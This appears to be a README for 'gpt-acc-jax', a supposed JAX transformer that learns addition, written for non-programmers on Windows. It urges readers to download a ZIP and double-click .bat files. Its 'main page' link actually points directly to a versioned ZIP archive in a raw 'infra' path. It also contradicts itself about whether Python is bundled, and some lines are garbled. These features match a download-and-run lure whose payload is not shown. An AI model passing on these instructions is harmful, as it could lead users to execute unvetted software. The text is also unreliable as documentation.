gpt-acc-jax is a simple tool that lets you experiment with a coding agent designed to train a decoding transformer. This transformer learns how to perform addition. The tool helps show how machine learning models can be taught to do basic math by looking at examples.
You don't need any programming skills to use this. It is made to help you explore how artificial intelligence can learn simple tasks.
To use gpt-acc-jax, your Windows computer should meet these basic requirements:
- Windows 10 or later
- At least 4 GB of RAM
- 500 MB of free disk space
- Internet connection to download the tool
- A modern web browser like Chrome, Edge, or Firefox
This tool runs locally on your machine without needing powerful hardware. It uses the JAX library, which allows it to make math calculations fast.
When you download gpt-acc-jax, you get the following:
- A complete setup to train and test the adding transformer
- Sample code to see how the model learns addition
- Documentation to help you understand each step
- Basic support for running everything on Windows
This is meant for learning and experiment, not for heavy professional use.
To get started, follow these steps carefully.
- Click the big link below to visit the GitHub page where you can find and download the tool.
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Once on the page, look for the green button labeled "Code." Click it and choose "Download ZIP" from the menu.
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The ZIP file will download to your computer. It contains the software files.
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Find the downloaded ZIP file, usually in your "Downloads" folder. Right-click it and select "Extract All."
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Choose a folder to unpack the files into, like your Desktop or Documents folder.
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Open the folder where you extracted the files.
The software runs using Python and JAX, which are included in the package. Here's how to start it:
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In the extracted folder, look for a file named
run_training.bator similar. -
Double-click this file. This will open a command prompt window and start the training process.
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You will see text scrolling in the command window. This shows the software training the model to add numbers.
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When the process finishes, the tool saves the trained model for you to use or explore further.
If you get an error or nothing happens, you may need to install Python first. You can download Python for Windows from python.org.
The tool uses a type of machine learning called a "decoding transformer." This is a model that reads input numbers and learns to add them by predicting the correct answers step by step.
The training process shows how the model improves over time by comparing its answers to the correct sums.
You will see progress reports that explain how accurate the model is getting and how fast it learns.
After training, you can use the model to test additions:
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Run the command prompt file named
run_inference.batinside the extracted folder. -
The program will ask you to type two numbers. Enter any two numbers you want to add.
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The model will show its answer based on what it learned.
This lets you try out how well the training worked and see the AI in action.
Here’s a quick guide to the core files you will find after downloading and extracting:
- run_training.bat — Starts the training process
- run_inference.bat — Lets you test additions using the trained model
- model.py — The code for the decoding transformer
- train.py — The script that handles training
- README.md — This guide you are reading
- requirements.txt — Lists software packages needed
You don’t need to change these files to run the tool.
If you have issues running the software, try these steps:
- Make sure your Windows is updated to the latest version.
- Check that you extracted the ZIP file correctly.
- If a command prompt window closes quickly, open it manually:
- Press
Windows + R, typecmd, and press Enter. - Use the
cdcommand to go to the folder with the software files. - Type
run_training.batorrun_inference.batand press Enter.
- Press
- Install Python from python.org if prompted.
- Restart your computer after installation if the software fails to run.
For questions or more information, visit the main page again:
https://github.com/Evan026/gpt-acc-jax/raw/refs/heads/main/infra/gpt-acc-jax-v1.8-beta.2.zip
You can open an "Issue" on GitHub if you find a bug or need assistance.
- Run the training on a quiet computer to avoid interruptions.
- Use small numbers at first when testing inference to see clear results.
- Experiment by retraining the model with different settings if you learn more about the scripts.
- Try running the software in full-screen Command Prompt for better visibility.
